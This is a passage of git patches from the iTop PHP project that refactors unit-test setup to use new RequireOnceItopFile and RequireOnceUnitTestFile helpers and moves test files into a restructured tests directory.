(DEBUG_UNIT_TEST) { From 36f8e58e25493f031d3092d805d8152f07e5f08e Mon Sep 17 00:00:00 2001 From: Molkobain Date: Fri, 6 Jan 2023 18:22:52 +0100 Subject: [PATCH 103/230] =?UTF-8?q?N=C2=B05608=20-=20Use=20new=20ItopTestC?= =?UTF-8?q?ase::RequireOnceXXX=20in=20unit=20tests?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- tests/php-unit-tests/ItopDataTestCase.php | 5 ++--- .../iTopModulesPhpVersionChecklistTest.php | 4 ++-- .../iTopModulesXmlVersionChecklistTest.php | 2 +- .../iTopDesignFormatChecklistTest.php | 4 ++-- .../unitary-tests/core/BulkChangeTest.inc.php | 4 ++-- .../unitary-tests/core/CMDBSource/CMDBSourceTest.php | 2 +- .../unitary-tests/core/CMDBSource/TransactionsTest.php | 2 +- .../unitary-tests/core/ConfigPlaceholdersResolverTest.php | 2 +- tests/php-unit-tests/unitary-tests/core/ConfigTest.php | 2 +- .../core/ConfigValidator/iTopConfigAstValidatorTest.php | 4 ++-- tests/php-unit-tests/unitary-tests/core/DBObjectTest.php | 4 ++-- .../unitary-tests/core/DBSearchIntersectTest.php | 2 +- .../php-unit-tests/unitary-tests/core/DBSearchJoinTest.php | 2 +- tests/php-unit-tests/unitary-tests/core/DBSearchTest.php | 4 ++-- .../unitary-tests/core/DBSearchUpdateRealiasingMapTest.php | 2 +- .../unitary-tests/core/LogFileNameBuilderTest.php | 2 +- tests/php-unit-tests/unitary-tests/core/MetaModelTest.php | 4 ++-- .../unitary-tests/core/UniquenessConstraintTest.php | 4 ++-- .../unitary-tests/core/WeeklyScheduledProcessTest.php | 4 ++-- .../php-unit-tests/unitary-tests/core/apcEmulationTest.php | 2 +- tests/php-unit-tests/unitary-tests/core/dictApcuTest.php | 6 +++--- tests/php-unit-tests/unitary-tests/core/dictTest.php | 6 +++--- .../unitary-tests/core/iTopConfigParserTest.php | 4 ++-- .../core/sanitizer/AbstractDOMSanitizerTest.php | 4 ++-- .../unitary-tests/core/sanitizer/HTMLDOMSanitizerTest.php | 2 +- .../datamodels/2.x/authent-local/UserLocalTest.php | 4 ++-- .../itop-config/Validator/iTopConfigAstValidatorTest.php | 4 ++-- .../itop-config/Validator/iTopConfigSyntaxValidatorTest.php | 4 ++-- tests/php-unit-tests/unitary-tests/setup/DBBackupTest.php | 2 +- tests/php-unit-tests/unitary-tests/setup/SetupUtilsTest.php | 4 ++-- .../setup/iTopDesignFormat/iTopDesignFormatTest.php | 4 ++-- .../sources/application/TwigBase/Twig/TwigTest.php | 3 ++- .../sources/application/status/StatusIncTest.php | 6 +++--- 33 files changed, 57 insertions(+), 57 deletions(-) diff --git a/tests/php-unit-tests/ItopDataTestCase.php b/tests/php-unit-tests/ItopDataTestCase.php index b563e649a..7bc24f57b 100644 --- a/tests/php-unit-tests/ItopDataTestCase.php +++ b/tests/php-unit-tests/ItopDataTestCase.php @@ -80,9 +80,8 @@ class ItopDataTestCase extends ItopTestCase protected function setUp(): void { parent::setUp(); - require_once(APPROOT.'/application/startup.inc.php'); - - require_once(APPROOT.'application/utils.inc.php'); + $this->RequireOnceItopFile('application/startup.inc.php'); + $this->RequireOnceItopFile('application/utils.inc.php'); $sEnv = 'production'; $sConfigFile = APPCONF.$sEnv.'/'.ITOP_CONFIG_FILE; diff --git a/tests/php-unit-tests/integration-tests/iTopModulesPhpVersionChecklistTest.php b/tests/php-unit-tests/integration-tests/iTopModulesPhpVersionChecklistTest.php index 9c66bda8e..e4b7b5e82 100644 --- a/tests/php-unit-tests/integration-tests/iTopModulesPhpVersionChecklistTest.php +++ b/tests/php-unit-tests/integration-tests/iTopModulesPhpVersionChecklistTest.php @@ -64,8 +64,8 @@ class iTopModulesPhpVersionIntegrationTest extends ItopTestCase { parent::setUp(); - require_once APPROOT.'core/config.class.inc.php'; - require_once APPROOT.'application/utils.inc.php'; + $this->RequireOnceItopFile('core/config.class.inc.php'); + $this->RequireOnceItopFile('application/utils.inc.php'); if (is_dir(APPROOT.'datamodels/2.x')) { $DatamodelsPath = APPROOT.'datamodels/2.x'; diff --git a/tests/php-unit-tests/integration-tests/iTopModulesXmlVersionChecklistTest.php b/tests/php-unit-tests/integration-tests/iTopModulesXmlVersionChecklistTest.php index 3cdb3cc25..de9bafa56 100644 --- a/tests/php-unit-tests/integration-tests/iTopModulesXmlVersionChecklistTest.php +++ b/tests/php-unit-tests/integration-tests/iTopModulesXmlVersionChecklistTest.php @@ -31,7 +31,7 @@ class iTopModulesXmlVersionIntegrationTest extends ItopTestCase { parent::setUp(); - require_once APPROOT.'setup/itopdesignformat.class.inc.php'; + $this->RequireOnceItopFile('setup/itopdesignformat.class.inc.php'); } diff --git a/tests/php-unit-tests/post-build-integration-tests/iTopDesignFormatChecklistTest.php b/tests/php-unit-tests/post-build-integration-tests/iTopDesignFormatChecklistTest.php index 20b1063c1..875fd01ec 100644 --- a/tests/php-unit-tests/post-build-integration-tests/iTopDesignFormatChecklistTest.php +++ b/tests/php-unit-tests/post-build-integration-tests/iTopDesignFormatChecklistTest.php @@ -21,8 +21,8 @@ class TestForITopDesignFormatClass extends ItopTestCase { parent::setUp(); - require_once APPROOT.'setup/modelfactory.class.inc.php'; - require_once APPROOT.'setup/itopdesignformat.class.inc.php'; + $this->RequireOnceItopFile('setup/modelfactory.class.inc.php'); + $this->RequireOnceItopFile('setup/itopdesignformat.class.inc.php'); } /** diff --git a/tests/php-unit-tests/unitary-tests/core/BulkChangeTest.inc.php b/tests/php-unit-tests/unitary-tests/core/BulkChangeTest.inc.php index 8fc3c93d0..cdb560b1c 100644 --- a/tests/php-unit-tests/unitary-tests/core/BulkChangeTest.inc.php +++ b/tests/php-unit-tests/unitary-tests/core/BulkChangeTest.inc.php @@ -17,8 +17,8 @@ class BulkChangeTest extends ItopDataTestCase { protected function setUp(): void { parent::setUp(); - require_once(APPROOT.'core/coreexception.class.inc.php'); - require_once(APPROOT.'core/bulkchange.class.inc.php'); + $this->RequireOnceItopFile('core/coreexception.class.inc.php'); + $this->RequireOnceItopFile('core/bulkchange.class.inc.php'); } diff --git a/tests/php-unit-tests/unitary-tests/core/CMDBSource/CMDBSourceTest.php b/tests/php-unit-tests/unitary-tests/core/CMDBSource/CMDBSourceTest.php index 106bbd91d..986a79a49 100644 --- a/tests/php-unit-tests/unitary-tests/core/CMDBSource/CMDBSourceTest.php +++ b/tests/php-unit-tests/unitary-tests/core/CMDBSource/CMDBSourceTest.php @@ -24,7 +24,7 @@ class CMDBSourceTest extends ItopTestCase { parent::setUp(); - require_once(APPROOT.'/core/cmdbsource.class.inc.php'); + $this->RequireOnceItopFile('/core/cmdbsource.class.inc.php'); } /** diff --git a/tests/php-unit-tests/unitary-tests/core/CMDBSource/TransactionsTest.php b/tests/php-unit-tests/unitary-tests/core/CMDBSource/TransactionsTest.php index 55b738cc8..3a9480be5 100644 --- a/tests/php-unit-tests/unitary-tests/core/CMDBSource/TransactionsTest.php +++ b/tests/php-unit-tests/unitary-tests/core/CMDBSource/TransactionsTest.php @@ -31,7 +31,7 @@ class TransactionsTest extends ItopTestCase { parent::setUp(); require_once('DeadLockInjection.php'); - require_once(APPROOT.'/core/cmdbsource.class.inc.php'); + $this->RequireOnceItopFile('/core/cmdbsource.class.inc.php'); $sEnv = 'production'; $sConfigFile = APPCONF.$sEnv.'/config-itop.php'; diff --git a/tests/php-unit-tests/unitary-tests/core/ConfigPlaceholdersResolverTest.php b/tests/php-unit-tests/unitary-tests/core/ConfigPlaceholdersResolverTest.php index a4c6868ea..b4e51ea06 100644 --- a/tests/php-unit-tests/unitary-tests/core/ConfigPlaceholdersResolverTest.php +++ b/tests/php-unit-tests/unitary-tests/core/ConfigPlaceholdersResolverTest.php @@ -34,7 +34,7 @@ class ConfigPlaceholdersResolverTest extends ItopTestCase protected function setUp(): void { parent::setUp(); - require_once(APPROOT.'core/config.class.inc.php'); + $this->RequireOnceItopFile('core/config.class.inc.php'); } /** * @dataProvider providerResolve diff --git a/tests/php-unit-tests/unitary-tests/core/ConfigTest.php b/tests/php-unit-tests/unitary-tests/core/ConfigTest.php index 0088ab374..8ab3febc2 100644 --- a/tests/php-unit-tests/unitary-tests/core/ConfigTest.php +++ b/tests/php-unit-tests/unitary-tests/core/ConfigTest.php @@ -34,7 +34,7 @@ class ConfigTest extends ItopTestCase protected function setUp(): void { parent::setUp(); - require_once(APPROOT.'core/config.class.inc.php'); + $this->RequireOnceItopFile('core/config.class.inc.php'); } /** diff --git a/tests/php-unit-tests/unitary-tests/core/ConfigValidator/iTopConfigAstValidatorTest.php b/tests/php-unit-tests/unitary-tests/core/ConfigValidator/iTopConfigAstValidatorTest.php index b30b67f14..5c64b2ea2 100644 --- a/tests/php-unit-tests/unitary-tests/core/ConfigValidator/iTopConfigAstValidatorTest.php +++ b/tests/php-unit-tests/unitary-tests/core/ConfigValidator/iTopConfigAstValidatorTest.php @@ -15,8 +15,8 @@ class iTopConfigAstValidatorTest extends ItopTestCase protected function setUp(): void { parent::setUp(); - require_once APPROOT.'env-production/itop-config/src/Validator/iTopConfigAstValidator.php'; - require_once APPROOT.'env-production/itop-config/src/Validator/ConfigNodesVisitor.php'; + $this->RequireOnceItopFile('env-production/itop-config/src/Validator/iTopConfigAstValidator.php'); + $this->RequireOnceItopFile('env-production/itop-config/src/Validator/ConfigNodesVisitor.php'); } public function testValidateFileValid() diff --git a/tests/php-unit-tests/unitary-tests/core/DBObjectTest.php b/tests/php-unit-tests/unitary-tests/core/DBObjectTest.php index 50d47d67f..3f5630ec3 100644 --- a/tests/php-unit-tests/unitary-tests/core/DBObjectTest.php +++ b/tests/php-unit-tests/unitary-tests/core/DBObjectTest.php @@ -43,8 +43,8 @@ class DBObjectTest extends ItopDataTestCase protected function setUp(): void { parent::setUp(); - require_once(APPROOT.'core/coreexception.class.inc.php'); - require_once(APPROOT.'core/dbobject.class.php'); + $this->RequireOnceItopFile('core/coreexception.class.inc.php'); + $this->RequireOnceItopFile('core/dbobject.class.php'); } /** diff --git a/tests/php-unit-tests/unitary-tests/core/DBSearchIntersectTest.php b/tests/php-unit-tests/unitary-tests/core/DBSearchIntersectTest.php index a4d4c4b5b..3fd2d12d9 100644 --- a/tests/php-unit-tests/unitary-tests/core/DBSearchIntersectTest.php +++ b/tests/php-unit-tests/unitary-tests/core/DBSearchIntersectTest.php @@ -21,7 +21,7 @@ class DBSearchIntersectTest extends ItopTestCase protected function setUp(): void { parent::setUp(); - require_once(APPROOT.'application/startup.inc.php'); + $this->RequireOnceItopFile('application/startup.inc.php'); } /** diff --git a/tests/php-unit-tests/unitary-tests/core/DBSearchJoinTest.php b/tests/php-unit-tests/unitary-tests/core/DBSearchJoinTest.php index e590eaa53..6790a3010 100644 --- a/tests/php-unit-tests/unitary-tests/core/DBSearchJoinTest.php +++ b/tests/php-unit-tests/unitary-tests/core/DBSearchJoinTest.php @@ -22,7 +22,7 @@ class DBSearchJoinTest extends ItopDataTestCase { protected function setUp(): void { parent::setUp(); - require_once(APPROOT.'application/startup.inc.php'); + $this->RequireOnceItopFile('application/startup.inc.php'); } /** diff --git a/tests/php-unit-tests/unitary-tests/core/DBSearchTest.php b/tests/php-unit-tests/unitary-tests/core/DBSearchTest.php index 8d29bfc99..19c53b186 100644 --- a/tests/php-unit-tests/unitary-tests/core/DBSearchTest.php +++ b/tests/php-unit-tests/unitary-tests/core/DBSearchTest.php @@ -57,8 +57,8 @@ class DBSearchTest extends ItopDataTestCase { parent::setUp(); - require_once(APPROOT.'application/itopwebpage.class.inc.php'); - require_once(APPROOT.'application/displayblock.class.inc.php'); + $this->RequireOnceItopFile('application/itopwebpage.class.inc.php'); + $this->RequireOnceItopFile('application/displayblock.class.inc.php'); } /** diff --git a/tests/php-unit-tests/unitary-tests/core/DBSearchUpdateRealiasingMapTest.php b/tests/php-unit-tests/unitary-tests/core/DBSearchUpdateRealiasingMapTest.php index 7187e466d..4fd6a3ace 100644 --- a/tests/php-unit-tests/unitary-tests/core/DBSearchUpdateRealiasingMapTest.php +++ b/tests/php-unit-tests/unitary-tests/core/DBSearchUpdateRealiasingMapTest.php @@ -22,7 +22,7 @@ class DBSearchUpdateRealiasingMapTest extends ItopDataTestCase protected function setUp(): void { parent::setUp(); - require_once(APPROOT.'application/startup.inc.php'); + $this->RequireOnceItopFile('application/startup.inc.php'); } /** diff --git a/tests/php-unit-tests/unitary-tests/core/LogFileNameBuilderTest.php b/tests/php-unit-tests/unitary-tests/core/LogFileNameBuilderTest.php index 09f91e61c..882b04296 100644 --- a/tests/php-unit-tests/unitary-tests/core/LogFileNameBuilderTest.php +++ b/tests/php-unit-tests/unitary-tests/core/LogFileNameBuilderTest.php @@ -29,7 +29,7 @@ class LogFileNameBuilderTest extends ItopTestCase { parent::setUp(); - require_once APPROOT.'core/log.class.inc.php'; + $this->RequireOnceItopFile('core/log.class.inc.php'); } protected function tearDown(): void diff --git a/tests/php-unit-tests/unitary-tests/core/MetaModelTest.php b/tests/php-unit-tests/unitary-tests/core/MetaModelTest.php index 58b406043..9ce9c27c9 100644 --- a/tests/php-unit-tests/unitary-tests/core/MetaModelTest.php +++ b/tests/php-unit-tests/unitary-tests/core/MetaModelTest.php @@ -26,8 +26,8 @@ class MetaModelTest extends ItopDataTestCase protected function setUp(): void { parent::setUp(); - require_once APPROOT.'/core/metamodel.class.php'; - require_once APPROOT.'/core/coreexception.class.inc.php'; + $this->RequireOnceItopFile('/core/metamodel.class.php'); + $this->RequireOnceItopFile('/core/coreexception.class.inc.php'); } /** diff --git a/tests/php-unit-tests/unitary-tests/core/UniquenessConstraintTest.php b/tests/php-unit-tests/unitary-tests/core/UniquenessConstraintTest.php index 1b724c749..6c3373454 100644 --- a/tests/php-unit-tests/unitary-tests/core/UniquenessConstraintTest.php +++ b/tests/php-unit-tests/unitary-tests/core/UniquenessConstraintTest.php @@ -19,8 +19,8 @@ class UniquenessConstraintTest extends ItopTestCase protected function setUp(): void { parent::setUp(); - require_once(APPROOT.'/core/metamodel.class.php'); - require_once(APPROOT.'/core/coreexception.class.inc.php'); + $this->RequireOnceItopFile('core/metamodel.class.php'); + $this->RequireOnceItopFile('core/coreexception.class.inc.php'); } /** diff --git a/tests/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessTest.php b/tests/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessTest.php index 031a016c1..100de4f77 100644 --- a/tests/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessTest.php +++ b/tests/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessTest.php @@ -10,8 +10,8 @@ class WeeklyScheduledProcessTest extends ItopTestCase protected function setUp(): void { parent::setUp(); - require_once(APPROOT.'core/backgroundprocess.inc.php'); - require_once(APPROOT.'tests/php-unit-tests/unitary-tests/core/WeeklyScheduledProcessMockConfig.php'); + $this->RequireOnceItopFile('core/backgroundprocess.inc.php'); + $this->RequireOnceUnitTestFile('./WeeklyScheduledProcessMockConfig.php'); } diff --git a/tests/php-unit-tests/unitary-tests/core/apcEmulationTest.php b/tests/php-unit-tests/unitary-tests/core/apcEmulationTest.php index ac088f5a6..a25df610c 100644 --- a/tests/php-unit-tests/unitary-tests/core/apcEmulationTest.php +++ b/tests/php-unit-tests/unitary-tests/core/apcEmulationTest.php @@ -42,7 +42,7 @@ class apcEmulationTest extends ItopTestCase protected function setUp(): void { parent::setUp(); - require_once(APPROOT.'core/apc-emulation.php'); + $this->RequireOnceItopFile('core/apc-emulation.php'); require_once 'mockApcEmulation.incphp'; apc_clear_cache(); } diff --git a/tests/php-unit-tests/unitary-tests/core/dictApcuTest.php b/tests/php-unit-tests/unitary-tests/core/dictApcuTest.php index 3207c12ca..fa8e4d19d 100644 --- a/tests/php-unit-tests/unitary-tests/core/dictApcuTest.php +++ b/tests/php-unit-tests/unitary-tests/core/dictApcuTest.php @@ -44,9 +44,9 @@ class dictApcuTest extends ItopTestCase protected function setUp(): void { parent::setUp(); - require_once(APPROOT.'core'.DIRECTORY_SEPARATOR.'coreexception.class.inc.php'); - require_once(APPROOT.'core'.DIRECTORY_SEPARATOR.'dict.class.inc.php'); - require_once(APPROOT.'core'.DIRECTORY_SEPARATOR.'apc-service.class.inc.php'); + $this->RequireOnceItopFile('core'.DIRECTORY_SEPARATOR.'coreexception.class.inc.php'); + $this->RequireOnceItopFile('core'.DIRECTORY_SEPARATOR.'dict.class.inc.php'); + $this->RequireOnceItopFile('core'.DIRECTORY_SEPARATOR.'apc-service.class.inc.php'); $this->sEnvName = time(); $_SESSION['itop_env'] = $this->sEnvName; diff --git a/tests/php-unit-tests/unitary-tests/core/dictTest.php b/tests/php-unit-tests/unitary-tests/core/dictTest.php index f27473eff..81d49d91b 100644 --- a/tests/php-unit-tests/unitary-tests/core/dictTest.php +++ b/tests/php-unit-tests/unitary-tests/core/dictTest.php @@ -42,9 +42,9 @@ class dictTest extends ItopTestCase protected function setUp(): void { parent::setUp(); - require_once(APPROOT.'core'.DIRECTORY_SEPARATOR.'coreexception.class.inc.php'); - require_once(APPROOT.'core'.DIRECTORY_SEPARATOR.'dict.class.inc.php'); - require_once(APPROOT.'core'.DIRECTORY_SEPARATOR.'apc-service.class.inc.php'); + $this->RequireOnceItopFile('core'.DIRECTORY_SEPARATOR.'coreexception.class.inc.php'); + $this->RequireOnceItopFile('core'.DIRECTORY_SEPARATOR.'dict.class.inc.php'); + $this->RequireOnceItopFile('core'.DIRECTORY_SEPARATOR.'apc-service.class.inc.php'); $this->sEnvName = time(); $sDictionaryFolder = APPROOT."env-$this->sEnvName".DIRECTORY_SEPARATOR."dictionaries"; @mkdir($sDictionaryFolder, 0777, true); diff --git a/tests/php-unit-tests/unitary-tests/core/iTopConfigParserTest.php b/tests/php-unit-tests/unitary-tests/core/iTopConfigParserTest.php index e7772ec6c..78addc558 100644 --- a/tests/php-unit-tests/unitary-tests/core/iTopConfigParserTest.php +++ b/tests/php-unit-tests/unitary-tests/core/iTopConfigParserTest.php @@ -16,8 +16,8 @@ class iTopConfigParserTest extends ItopTestCase public function setUp(): void { parent::setUp(); - require_once APPROOT.'/core/iTopConfigParser.php'; - require_once APPROOT.'/setup/runtimeenv.class.inc.php'; + $this->RequireOnceItopFile('/core/iTopConfigParser.php'); + $this->RequireOnceItopFile('/setup/runtimeenv.class.inc.php'); clearstatcache(); $this->sConfigPath = utils::GetConfigFilePath(); diff --git a/tests/php-unit-tests/unitary-tests/core/sanitizer/AbstractDOMSanitizerTest.php b/tests/php-unit-tests/unitary-tests/core/sanitizer/AbstractDOMSanitizerTest.php index a9fb5d945..f09378dc7 100644 --- a/tests/php-unit-tests/unitary-tests/core/sanitizer/AbstractDOMSanitizerTest.php +++ b/tests/php-unit-tests/unitary-tests/core/sanitizer/AbstractDOMSanitizerTest.php @@ -12,8 +12,8 @@ abstract class AbstractDOMSanitizerTest extends ItopTestCase protected function setUp(): void { parent::setUp(); - require_once(APPROOT.'application/utils.inc.php'); - require_once(APPROOT.'core/htmlsanitizer.class.inc.php'); + $this->RequireOnceItopFile('application/utils.inc.php'); + $this->RequireOnceItopFile('core/htmlsanitizer.class.inc.php'); } protected function ReadTestFile($sFileToTest, $sFolderName) diff --git a/tests/php-unit-tests/unitary-tests/core/sanitizer/HTMLDOMSanitizerTest.php b/tests/php-unit-tests/unitary-tests/core/sanitizer/HTMLDOMSanitizerTest.php index 76c30434a..72581c827 100644 --- a/tests/php-unit-tests/unitary-tests/core/sanitizer/HTMLDOMSanitizerTest.php +++ b/tests/php-unit-tests/unitary-tests/core/sanitizer/HTMLDOMSanitizerTest.php @@ -222,7 +222,7 @@ class HTMLDOMSanitizerTest extends AbstractDOMSanitizerTest */ public function testDoSanitizeCallInlineImageProcessImageTag($sHtml, $iExpectedCount) { - require_once APPROOT.'tests/php-unit-tests/unitary-tests/core/sanitizer/InlineImageMock.php'; + $this->RequireOnceUnitTestFile('./InlineImageMock.php'); InlineImageMock::ResetCallCounter(); $oSanitizer = new HTMLDOMSanitizer(InlineImageMock::class); diff --git a/tests/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php b/tests/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php index 867a28ed5..e49ae24e6 100644 --- a/tests/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php +++ b/tests/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest.php @@ -25,8 +25,8 @@ class UserLocalTest extends ItopDataTestCase { parent::setUp(); - require_once(APPROOT.'tests/php-unit-tests/unitary-tests/datamodels/2.x/authent-local/UserLocalTest/UserLocalPasswordPolicyMock.php'); - require_once(APPROOT.'env-production/authent-local/model.authent-local.php'); + $this->RequireOnceUnitTestFile('./UserLocalTest/UserLocalPasswordPolicyMock.php'); + $this->RequireOnceItopFile('env-production/authent-local/model.authent-local.php'); } /** diff --git a/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigAstValidatorTest.php b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigAstValidatorTest.php index 68eb076e1..c94292bee 100644 --- a/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigAstValidatorTest.php +++ b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigAstValidatorTest.php @@ -19,8 +19,8 @@ class iTopConfigAstValidatorTest extends ItopTestCase { parent::setUp(); - require_once APPROOT.'env-production/itop-config/src/Validator/ConfigNodesVisitor.php'; - require_once APPROOT.'env-production/itop-config/src/Validator/iTopConfigAstValidator.php'; + $this->RequireOnceItopFile('env-production/itop-config/src/Validator/ConfigNodesVisitor.php'); + $this->RequireOnceItopFile('env-production/itop-config/src/Validator/iTopConfigAstValidator.php'); } diff --git a/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigSyntaxValidatorTest.php b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigSyntaxValidatorTest.php index c4a5aaa1e..fc361a503 100644 --- a/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigSyntaxValidatorTest.php +++ b/tests/php-unit-tests/unitary-tests/datamodels/2.x/itop-config/Validator/iTopConfigSyntaxValidatorTest.php @@ -20,8 +20,8 @@ class iTopConfigSyntaxValidatorTest extends ItopTestCase { parent::setUp(); - require_once APPROOT.'env-production/itop-config/src/Validator/ConfigNodesVisitor.php'; - require_once APPROOT.'env-production/itop-config/src/Validator/iTopConfigSyntaxValidator.php'; + $this->RequireOnceItopFile('env-production/itop-config/src/Validator/ConfigNodesVisitor.php'); + $this->RequireOnceItopFile('env-production/itop-config/src/Validator/iTopConfigSyntaxValidator.php'); } diff --git a/tests/php-unit-tests/unitary-tests/setup/DBBackupTest.php b/tests/php-unit-tests/unitary-tests/setup/DBBackupTest.php index 3ad7a2115..390082d16 100644 --- a/tests/php-unit-tests/unitary-tests/setup/DBBackupTest.php +++ b/tests/php-unit-tests/unitary-tests/setup/DBBackupTest.php @@ -22,7 +22,7 @@ class DBBackupTest extends ItopTestCase protected function setUp(): void { parent::setUp(); - require_once(APPROOT.'setup/backup.class.inc.php'); + $this->RequireOnceItopFile('setup/backup.class.inc.php'); // We need a connection to the DB, so let's open it ! // We are using the default config file... as the server might not be configured for all the combination we are testing diff --git a/tests/php-unit-tests/unitary-tests/setup/SetupUtilsTest.php b/tests/php-unit-tests/unitary-tests/setup/SetupUtilsTest.php index b93a9a5f0..d38488bf6 100644 --- a/tests/php-unit-tests/unitary-tests/setup/SetupUtilsTest.php +++ b/tests/php-unit-tests/unitary-tests/setup/SetupUtilsTest.php @@ -21,8 +21,8 @@ class SetupUtilsTest extends ItopTestCase { parent::setUp(); - require_once APPROOT.'setup/setuputils.class.inc.php'; - require_once APPROOT.'setup/setuppage.class.inc.php'; + $this->RequireOnceItopFile('setup/setuputils.class.inc.php'); + $this->RequireOnceItopFile('setup/setuppage.class.inc.php'); } /** diff --git a/tests/php-unit-tests/unitary-tests/setup/iTopDesignFormat/iTopDesignFormatTest.php b/tests/php-unit-tests/unitary-tests/setup/iTopDesignFormat/iTopDesignFormatTest.php index 2d9b83605..cf13231af 100644 --- a/tests/php-unit-tests/unitary-tests/setup/iTopDesignFormat/iTopDesignFormatTest.php +++ b/tests/php-unit-tests/unitary-tests/setup/iTopDesignFormat/iTopDesignFormatTest.php @@ -19,8 +19,8 @@ class iTopDesignFormatTest extends ItopTestCase { parent::setUp(); - require_once APPROOT.'setup/modelfactory.class.inc.php'; - require_once APPROOT.'setup/itopdesignformat.class.inc.php'; + $this->RequireOnceItopFile('setup/modelfactory.class.inc.php'); + $this->RequireOnceItopFile('setup/itopdesignformat.class.inc.php'); } /** diff --git a/tests/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/TwigTest.php b/tests/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/TwigTest.php index 5924d0960..c01ad8606 100644 --- a/tests/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/TwigTest.php +++ b/tests/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/TwigTest.php @@ -15,7 +15,7 @@ class TwigTest extends ItopDataTestCase protected function setUp(): void { parent::setUp(); - require_once __DIR__.'/../../core/config.class.inc.php'; + $this->RequireOnceItopFile('core/config.class.inc.php'); } /** @@ -43,6 +43,7 @@ class TwigTest extends ItopDataTestCase { $oTwig->addFunction($oFunction); } + } public static function testTemplateProvider() { diff --git a/tests/php-unit-tests/unitary-tests/sources/application/status/StatusIncTest.php b/tests/php-unit-tests/unitary-tests/sources/application/status/StatusIncTest.php index 4dc6a559a..70c002ce7 100644 --- a/tests/php-unit-tests/unitary-tests/sources/application/status/StatusIncTest.php +++ b/tests/php-unit-tests/unitary-tests/sources/application/status/StatusIncTest.php @@ -92,9 +92,9 @@ class StatusIncTest extends TestCase { include_once($this->sAppRoot . '/status.inc.php'); StatusCheckConfigFile(); - require_once(APPROOT . '/core/cmdbobject.class.inc.php'); - require_once(APPROOT . '/application/utils.inc.php'); - require_once(APPROOT . '/core/contexttag.class.inc.php'); + require_once(APPROOT . '/core/cmdbobject.class.inc.php'); + require_once(APPROOT . '/application/utils.inc.php'); + require_once(APPROOT . '/core/contexttag.class.inc.php'); $oConfigWrong = new Config(ITOP_DEFAULT_CONFIG_FILE); $oConfigWrong->Set('db_pwd', $oConfigWrong->Get('db_pwd') . '_unittest'); From fbc0a898ae86cbb4b68957766813ac1d5c63fa54 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Fri, 6 Jan 2023 18:35:48 +0100 Subject: [PATCH 104/230] =?UTF-8?q?N=C2=B05608=20-=20Move=20test=20files?= =?UTF-8?q?=20to=20corresponding=20directories=20after=20branch=20rebase?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../php-unit-tests/unitary-tests}/setup/ModelFactoryTest.php | 2 +- .../unitary-tests/sources}/application/RuntimeDashboardTest.php | 0 .../unitary-tests/sources}/application/TestAutoload.php | 0 .../sources/application/TwigBase/Twig/attacker/backdoor | 0 4 files changed, 1 insertion(+), 1 deletion(-) rename {test => tests/php-unit-tests/unitary-tests}/setup/ModelFactoryTest.php (99%) rename {test => tests/php-unit-tests/unitary-tests/sources}/application/RuntimeDashboardTest.php (100%) rename {test => tests/php-unit-tests/unitary-tests/sources}/application/TestAutoload.php (100%) rename {test => tests}/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/attacker/backdoor (100%) diff --git a/test/setup/ModelFactoryTest.php b/tests/php-unit-tests/unitary-tests/setup/ModelFactoryTest.php similarity index 99% rename from test/setup/ModelFactoryTest.php rename to tests/php-unit-tests/unitary-tests/setup/ModelFactoryTest.php index 46c7aef2c..94e56cf67 100644 --- a/test/setup/ModelFactoryTest.php +++ b/tests/php-unit-tests/unitary-tests/setup/ModelFactoryTest.php @@ -36,7 +36,7 @@ class ModelFactoryTest extends ItopTestCase { parent::setUp(); - require_once(APPROOT.'setup/modelfactory.class.inc.php'); + $this->RequireOnceItopFile('setup/modelfactory.class.inc.php'); } /** diff --git a/test/application/RuntimeDashboardTest.php b/tests/php-unit-tests/unitary-tests/sources/application/RuntimeDashboardTest.php similarity index 100% rename from test/application/RuntimeDashboardTest.php rename to tests/php-unit-tests/unitary-tests/sources/application/RuntimeDashboardTest.php diff --git a/test/application/TestAutoload.php b/tests/php-unit-tests/unitary-tests/sources/application/TestAutoload.php similarity index 100% rename from test/application/TestAutoload.php rename to tests/php-unit-tests/unitary-tests/sources/application/TestAutoload.php diff --git a/test/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/attacker/backdoor b/tests/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/attacker/backdoor similarity index 100% rename from test/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/attacker/backdoor rename to tests/php-unit-tests/unitary-tests/sources/application/TwigBase/Twig/attacker/backdoor From 6aa9aa283138826abd9f5f4d473c7fcb47570b34 Mon Sep 17 00:00:00 2001 From: Molkobain Date: Tue, 10 Jan 2023 18:15:53 +0100 Subject: [PATCH 105/230] =?UTF-8?q?N=C2=B05608=20-=20Fix=20unit=20tests=20?= =?UTF-8?q?following=20restructuring=20Part=20I?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../unitary-tests/setup/MFCompilerTest.php | 2 +- .../application/status/StatusIncTest.php | 47 +++++++++---------- 2 files changed, 22 insertions(+), 27 deletions(-) diff --git a/tests/php-unit-tests/unitary-tests/setup/MFCompilerTest.php b/tests/php-unit-tests/unitary-tests/setup/MFCompilerTest.php 